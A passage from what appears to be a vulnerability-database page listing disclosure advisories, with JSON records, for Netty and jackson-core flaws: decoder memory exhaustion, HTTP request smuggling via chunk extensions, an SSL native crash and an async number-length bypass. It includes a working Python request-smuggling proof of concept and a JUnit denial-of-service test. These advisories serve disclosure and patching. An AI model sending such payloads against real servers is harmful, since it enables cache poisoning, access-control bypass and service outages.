- While the decoder can store items on the disk if configured so, there are no limits to the number of fields the form can have, an attacher can send a chunked post consisting of many small fields that will be accumulated in the
bodyListHttpDatalist. - The decoder cumulates bytes in the
undecodedChunkbuffer until it can decode a field, this field can cumulate data without limits
PoC
Here is a Netty branch that provides a fix + tests : https://github.com/vietj/netty/tree/post-request-decoder
Here is a reproducer with Vert.x (which uses this decoder) https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3
Impact
Any Netty based HTTP server that uses the HttpPostRequestDecoder to decode a form.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.108.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-29025"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-25T19:40:50Z",
"nvd_published_at": "2024-03-25T20:15:08Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe `HttpPostRequestDecoder` can be tricked to accumulate data. I have spotted currently two attack vectors \n\n### Details\n1. While the decoder can store items on the disk if configured so, there are no limits to the number of fields the form can have, an attacher can send a chunked post consisting of many small fields that will be accumulated in the `bodyListHttpData` list.\n2. The decoder cumulates bytes in the `undecodedChunk` buffer until it can decode a field, this field can cumulate data without limits\n\n### PoC\n\nHere is a Netty branch that provides a fix + tests : https://github.com/vietj/netty/tree/post-request-decoder\n\n\nHere is a reproducer with Vert.x (which uses this decoder) https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3\n\n### Impact\nAny Netty based HTTP server that uses the `HttpPostRequestDecoder` to decode a form.",
"id": "GHSA-5jpm-x58v-624v",
"modified": "2024-06-22T00:30:55Z",
"published": "2024-03-25T19:40:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-5jpm-x58v-624v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29025"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/0d0c6ed782d13d423586ad0c71737b2c7d02058c"
},
{
"type": "WEB",
"url": "https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/vietj/netty/tree/post-request-decoder"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00015.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Netty\u0027s HttpPostRequestDecoder can OOM"
}
GHSA-PWQR-WMGM-9RR8
Vulnerability from github – Published: 2026-03-26 18:48 – Updated: 2026-03-27 21:49Summary
Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.
Background
This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques:
The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.
Technical Details
RFC 9110 Section 7.1.1 defines chunked transfer encoding:
chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string
RFC 9110 Section 5.6.4 defines quoted-string:
quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE
Critically, the allowed character ranges within a quoted-string are:
qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text
quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text )
CR (%x0D) and LF (%x0A) bytes fall outside all of these ranges and are therefore not permitted inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a 400 Bad Request response (as Squid does, for example).
Vulnerability
Netty terminates chunk header parsing at \r\n inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.
Expected behavior (RFC-compliant): A request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.
Actual behavior (Netty):
Chunk: 1;a="value
^^^^^ parsing terminates here at \r\n (INCORRECT)
Body: here"... is treated as body or the beginning of a subsequent request
The root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.
Proof of Concept
#!/usr/bin/env python3
import socket
payload = (
b"POST / HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Transfer-Encoding: chunked\r\n"
b"\r\n"
b'1;a="\r\n'
b"X\r\n"
b"0\r\n"
b"\r\n"
b"GET /smuggled HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Content-Length: 11\r\n"
b"\r\n"
b'"\r\n'
b"Y\r\n"
b"0\r\n"
b"\r\n"
)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)
response = b""
while True:
try:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
except socket.timeout:
break
sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))
Result: The server returns two HTTP responses from a single TCP connection, confirming request smuggling.
Parsing Breakdown
| Parser | Request 1 | Request 2 |
|---|---|---|
| Netty (vulnerable) | POST / body="X" | GET /smuggled (SMUGGLED) |
| RFC-compliant parser | 400 Bad Request | (none — malformed request rejected) |
Impact
- Request Smuggling: An attacker can inject arbitrary HTTP requests into a connection.
- Cache Poisoning: Smuggled responses may poison shared caches.
- Access Control Bypass: Smuggled requests can circumvent frontend security controls.
- Session Hijacking: Smuggled requests may intercept responses intended for other users.
Reproduction
- Start the minimal proof-of-concept environment using the provided Docker configuration.
- Execute the proof-of-concept script included in the attached archive.
Suggested Fix
The parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:
1. Read chunk-size.
2. If ';' is encountered, begin parsing extensions:
a. For each byte before the terminating CRLF:
- If CR (%x0D) or LF (%x0A) is encountered outside the
final terminating CRLF, reject the request with 400 Bad Request.
b. If the extension value begins with DQUOTE, validate that all
enclosed bytes conform to the qdtext / quoted-pair grammar.
3. Only treat CRLF as the chunk header terminator when it appears
outside any quoted-string context and contains no preceding
illegal bytes.
Acknowledgments
Credit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.
Resources
Attachments
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.132.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.10.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33870"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T18:48:55Z",
"nvd_published_at": "2026-03-27T20:16:34Z",
"severity": "HIGH"
},
"details": "## Summary\n\nNetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.\n\n## Background\n\nThis vulnerability is a new variant discovered during research into the \"Funky Chunks\" HTTP request smuggling techniques:\n\n- \u003chttps://w4ke.info/2025/06/18/funky-chunks.html\u003e\n- \u003chttps://w4ke.info/2025/10/29/funky-chunks-2.html\u003e\n\nThe original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.\n\n## Technical Details\n\n**RFC 9110 Section 7.1.1** defines chunked transfer encoding:\n\n```\nchunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF\nchunk-ext = *( BWS \";\" BWS chunk-ext-name [ BWS \"=\" BWS chunk-ext-val ] )\nchunk-ext-val = token / quoted-string\n```\n\n**RFC 9110 Section 5.6.4** defines quoted-string:\n\n```\nquoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE\n```\n\nCritically, the allowed character ranges within a quoted-string are:\n\n```\nqdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text\nquoted-pair = \"\\\" ( HTAB / SP / VCHAR / obs-text )\n```\n\nCR (`%x0D`) and LF (`%x0A`) bytes fall outside all of these ranges and are therefore **not permitted** inside chunk extensions\u2014whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a `400 Bad Request` response (as Squid does, for example).\n\n## Vulnerability\n\nNetty terminates chunk header parsing at `\\r\\n` inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.\n\n**Expected behavior (RFC-compliant):**\nA request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.\n\n**Actual behavior (Netty):**\n\n```\nChunk: 1;a=\"value\n ^^^^^ parsing terminates here at \\r\\n (INCORRECT)\nBody: here\"... is treated as body or the beginning of a subsequent request\n```\n\nThe root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.\n\n## Proof of Concept\n\n```python\n#!/usr/bin/env python3\nimport socket\n\npayload = (\n b\"POST / HTTP/1.1\\r\\n\"\n b\"Host: localhost\\r\\n\"\n b\"Transfer-Encoding: chunked\\r\\n\"\n b\"\\r\\n\"\n b\u00271;a=\"\\r\\n\u0027\n b\"X\\r\\n\"\n b\"0\\r\\n\"\n b\"\\r\\n\"\n b\"GET /smuggled HTTP/1.1\\r\\n\"\n b\"Host: localhost\\r\\n\"\n b\"Content-Length: 11\\r\\n\"\n b\"\\r\\n\"\n b\u0027\"\\r\\n\u0027\n b\"Y\\r\\n\"\n b\"0\\r\\n\"\n b\"\\r\\n\"\n)\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(3)\nsock.connect((\"127.0.0.1\", 8080))\nsock.sendall(payload)\n\nresponse = b\"\"\nwhile True:\n try:\n chunk = sock.recv(4096)\n if not chunk:\n break\n response += chunk\n except socket.timeout:\n break\n\nsock.close()\nprint(f\"Responses: {response.count(b\u0027HTTP/\u0027)}\")\nprint(response.decode(errors=\"replace\"))\n```\n\n**Result:** The server returns two HTTP responses from a single TCP connection, confirming request smuggling.\n\n### Parsing Breakdown\n\n| Parser | Request 1 | Request 2 |\n|-----------------------|-------------------|------------------------------------|\n| Netty (vulnerable) | POST / body=\"X\" | GET /smuggled (SMUGGLED) |\n| RFC-compliant parser | 400 Bad Request | (none \u2014 malformed request rejected)|\n\n## Impact\n\n- **Request Smuggling**: An attacker can inject arbitrary HTTP requests into a connection.\n- **Cache Poisoning**: Smuggled responses may poison shared caches.\n- **Access Control Bypass**: Smuggled requests can circumvent frontend security controls.\n- **Session Hijacking**: Smuggled requests may intercept responses intended for other users.\n\n## Reproduction\n\n1. Start the minimal proof-of-concept environment using the provided Docker configuration.\n2. Execute the proof-of-concept script included in the attached archive.\n\n## Suggested Fix\n\nThe parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:\n\n```\n1. Read chunk-size.\n2. If \u0027;\u0027 is encountered, begin parsing extensions:\n a. For each byte before the terminating CRLF:\n - If CR (%x0D) or LF (%x0A) is encountered outside the\n final terminating CRLF, reject the request with 400 Bad Request.\n b. If the extension value begins with DQUOTE, validate that all\n enclosed bytes conform to the qdtext / quoted-pair grammar.\n3. Only treat CRLF as the chunk header terminator when it appears\n outside any quoted-string context and contains no preceding\n illegal bytes.\n```\n\n## Acknowledgments\n\nCredit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.\n\n## Resources\n\n- [RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)](https://www.rfc-editor.org/rfc/rfc9110)\n- [Funky Chunks Research](https://w4ke.info/2025/06/18/funky-chunks.html)\n- [Funky Chunks 2 Research](https://w4ke.info/2025/10/29/funky-chunks-2.html)\n\n## Attachments\n\n\n\n[java_netty.zip](https://github.com/user-attachments/files/24697955/java_netty.zip)",
"id": "GHSA-pwqr-wmgm-9rr8",
"modified": "2026-03-27T21:49:43Z",
"published": "2026-03-26T18:48:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-pwqr-wmgm-9rr8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33870"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://w4ke.info/2025/06/18/funky-chunks.html"
},
{
"type": "WEB",
"url": "https://w4ke.info/2025/10/29/funky-chunks-2.html"
},
{
"type": "WEB",
"url": "https://www.rfc-editor.org/rfc/rfc9110"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing"
}
GHSA-4G8C-WM8X-JFHW
Vulnerability from github – Published: 2025-02-10 17:38 – Updated: 2025-04-16 19:30Impact
When a special crafted packet is received via SslHandler it doesn't correctly handle validation of such a packet in all cases which can lead to a native crash.
Workarounds
As workaround its possible to either disable the usage of the native SSLEngine or changing the code from:
SslContext context = ...;
SslHandler handler = context.newHandler(....);
to:
SslContext context = ...;
SSLEngine engine = context.newEngine(....);
SslHandler handler = new SslHandler(engine, ....);
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.117.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler"
},
"ranges": [
{
"events": [
{
"introduced": "4.1.91.Final"
},
{
"fixed": "4.1.118.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-24970"
],
"database_specific": {
"cwe_ids": [
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2025-02-10T17:38:10Z",
"nvd_published_at": "2025-02-10T22:15:38Z",
"severity": "HIGH"
},
"details": "### Impact\nWhen a special crafted packet is received via SslHandler it doesn\u0027t correctly handle validation of such a packet in all cases which can lead to a native crash.\n\n### Workarounds\nAs workaround its possible to either disable the usage of the native SSLEngine or changing the code from:\n\n```\nSslContext context = ...;\nSslHandler handler = context.newHandler(....);\n```\n\nto:\n\n```\nSslContext context = ...;\nSSLEngine engine = context.newEngine(....);\nSslHandler handler = new SslHandler(engine, ....);\n```",
"id": "GHSA-4g8c-wm8x-jfhw",
"modified": "2025-04-16T19:30:03Z",
"published": "2025-02-10T17:38:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-4g8c-wm8x-jfhw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24970"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/87f40725155b2f89adfde68c7732f97c153676c4"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20250221-0005"
},
{
"type": "WEB",
"url": "https://www.vicarius.io/vsociety/posts/cve-2025-24970-netty-vulnerability-detection"
},
{
"type": "WEB",
"url": "https://www.vicarius.io/vsociety/posts/cve-2025-24970-netty-vulnerability-mitigation"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "SslHandler doesn\u0027t correctly validate packets which can lead to native crash when using native SSLEngine"
}
GHSA-72HV-8253-57QQ
Vulnerability from github – Published: 2026-02-28 02:01 – Updated: 2026-03-27 14:26Summary
The non-blocking (async) JSON parser in jackson-core bypasses the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
Details
The root cause is that the async parsing path in NonBlockingUtf8JsonParserBase (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g.,
_finishNumberIntegralPart) accumulate digits into theTextBufferwithout any length checks. - After parsing, they call
_valueComplete(), which finalizes the token but does not callresetInt()orresetFloat(). - The
resetInt()/resetFloat()methods inParserBaseare where thevalidateIntegerLength()andvalidateFPLength()checks are performed. - Because this validation step is skipped, the
maxNumberLengthconstraint is never enforced in the async code path.
PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. Memory Exhaustion: Unbounded allocation of memory in the TextBuffer to store the number's digits, leading to an OutOfMemoryError.
2. CPU Exhaustion: If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM can be tied up in O(n^2) BigInteger parsing operations, leading to a CPU-based DoS.
Suggested Remediation
The async parsing path should be updated to respect the maxNumberLength constraint. The simplest fix appears to ensure that _valueComplete() or a similar method in the async path calls the appropriate validation methods (resetInt() or resetFloat()) already present in ParserBase, mirroring the behavior of the synchronous parsers.
NOTE: This research was performed in collaboration with rohan-repos
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.18.5"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
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"introduced": "2.0.0"
},
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"fixed": "2.18.6"
}
],
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}
]
},
{
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"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
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"introduced": "2.19.0"
},
{
"fixed": "2.21.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-core"
},
"ranges": [
{
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"introduced": "2.19.0"
},
{
"fixed": "2.21.1"
}
],
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}
]
},
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"name": "com.fasterxml.jackson.core:jackson-core"
},
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"introduced": "3.0.0"
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}
],
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}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.18.5"
},
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-core"
},
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{
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"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-28T02:01:05Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nThe non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).\n\nThe standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.\n\n### Details\nThe root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.\n\n- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.\n- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.\n- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.\n- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.\n\n### PoC\nThe following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.\n\n```java\npackage tools.jackson.core.unittest.dos;\n\nimport java.nio.charset.StandardCharsets;\n\nimport org.junit.jupiter.api.Test;\n\nimport tools.jackson.core.*;\nimport tools.jackson.core.exc.StreamConstraintsException;\nimport tools.jackson.core.json.JsonFactory;\nimport tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;\n\nimport static org.junit.jupiter.api.Assertions.*;\n\n/**\n * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers\n *\n * Authors: sprabhav7, rohan-repos\n * \n * maxNumberLength default = 1000 characters (digits).\n * A number with more than 1000 digits should be rejected by any parser.\n *\n * BUG: The async parser never calls resetInt()/resetFloat() which is where\n * validateIntegerLength()/validateFPLength() lives. Instead it calls\n * _valueComplete() which skips all number length validation.\n *\n * CWE-770: Allocation of Resources Without Limits or Throttling\n */\nclass AsyncParserNumberLengthBypassTest {\n\n private static final int MAX_NUMBER_LENGTH = 1000;\n private static final int TEST_NUMBER_LENGTH = 5000;\n\n private final JsonFactory factory = new JsonFactory();\n\n // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength\n @Test\n void syncParserRejectsLongNumber() throws Exception {\n byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\t\t\n\t\t// Output to console\n System.out.println(\"[SYNC] Parsing \" + TEST_NUMBER_LENGTH + \"-digit number (limit: \" + MAX_NUMBER_LENGTH + \")\");\n try {\n try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {\n while (p.nextToken() != null) {\n if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n System.out.println(\"[SYNC] Accepted number with \" + p.getText().length() + \" digits \u2014 UNEXPECTED\");\n }\n }\n }\n fail(\"Sync parser must reject a \" + TEST_NUMBER_LENGTH + \"-digit number\");\n } catch (StreamConstraintsException e) {\n System.out.println(\"[SYNC] Rejected with StreamConstraintsException: \" + e.getMessage());\n }\n }\n\n // VULNERABILITY: Async parser accepts the SAME number that sync rejects\n @Test\n void asyncParserAcceptsLongNumber() throws Exception {\n byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\n NonBlockingByteArrayJsonParser p =\n (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());\n p.feedInput(payload, 0, payload.length);\n p.endOfInput();\n\n boolean foundNumber = false;\n try {\n while (p.nextToken() != null) {\n if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n foundNumber = true;\n String numberText = p.getText();\n assertEquals(TEST_NUMBER_LENGTH, numberText.length(),\n \"Async parser silently accepted all \" + TEST_NUMBER_LENGTH + \" digits\");\n }\n }\n // Output to console\n System.out.println(\"[ASYNC INT] Accepted number with \" + TEST_NUMBER_LENGTH + \" digits \u2014 BUG CONFIRMED\");\n assertTrue(foundNumber, \"Parser should have produced a VALUE_NUMBER_INT token\");\n } catch (StreamConstraintsException e) {\n fail(\"Bug is fixed \u2014 async parser now correctly rejects long numbers: \" + e.getMessage());\n }\n p.close();\n }\n\n private byte[] buildPayloadWithLongInteger(int numDigits) {\n StringBuilder sb = new StringBuilder(numDigits + 10);\n sb.append(\"{\\\"v\\\":\");\n for (int i = 0; i \u003c numDigits; i++) {\n sb.append((char) (\u00271\u0027 + (i % 9)));\n }\n sb.append(\u0027}\u0027);\n return sb.toString().getBytes(StandardCharsets.UTF_8);\n }\n}\n\n```\n\n\n### Impact\nA malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:\n1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number\u0027s digits, leading to an `OutOfMemoryError`.\n2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.\n\n### Suggested Remediation\n\nThe async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.\n\n**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)",
"id": "GHSA-72hv-8253-57qq",
"modified": "2026-03-27T14:26:32Z",
"published": "2026-02-28T02:01:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/pull/1555"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/b0c428e6f993e1b5ece5c1c3cb2523e887cd52cf"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-core"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.